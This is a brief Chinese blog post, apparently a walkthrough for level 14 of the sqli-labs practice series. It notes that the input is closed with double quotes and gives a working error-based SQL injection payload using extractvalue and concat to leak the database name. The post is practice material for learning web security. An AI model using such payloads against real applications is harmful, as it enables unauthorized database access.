SQLI DUMB SERIES-14

(1)闭合方式为一对双引号

(2)可用报错注入。如:

admin" and extractvalue(1,concat(0x7e,(select database()))) and " 

 

其余报错注入方式于12关相同。

posted @ 2019-04-14 15:17  DurianTRY  阅读(138)  评论(0编辑  收藏  举报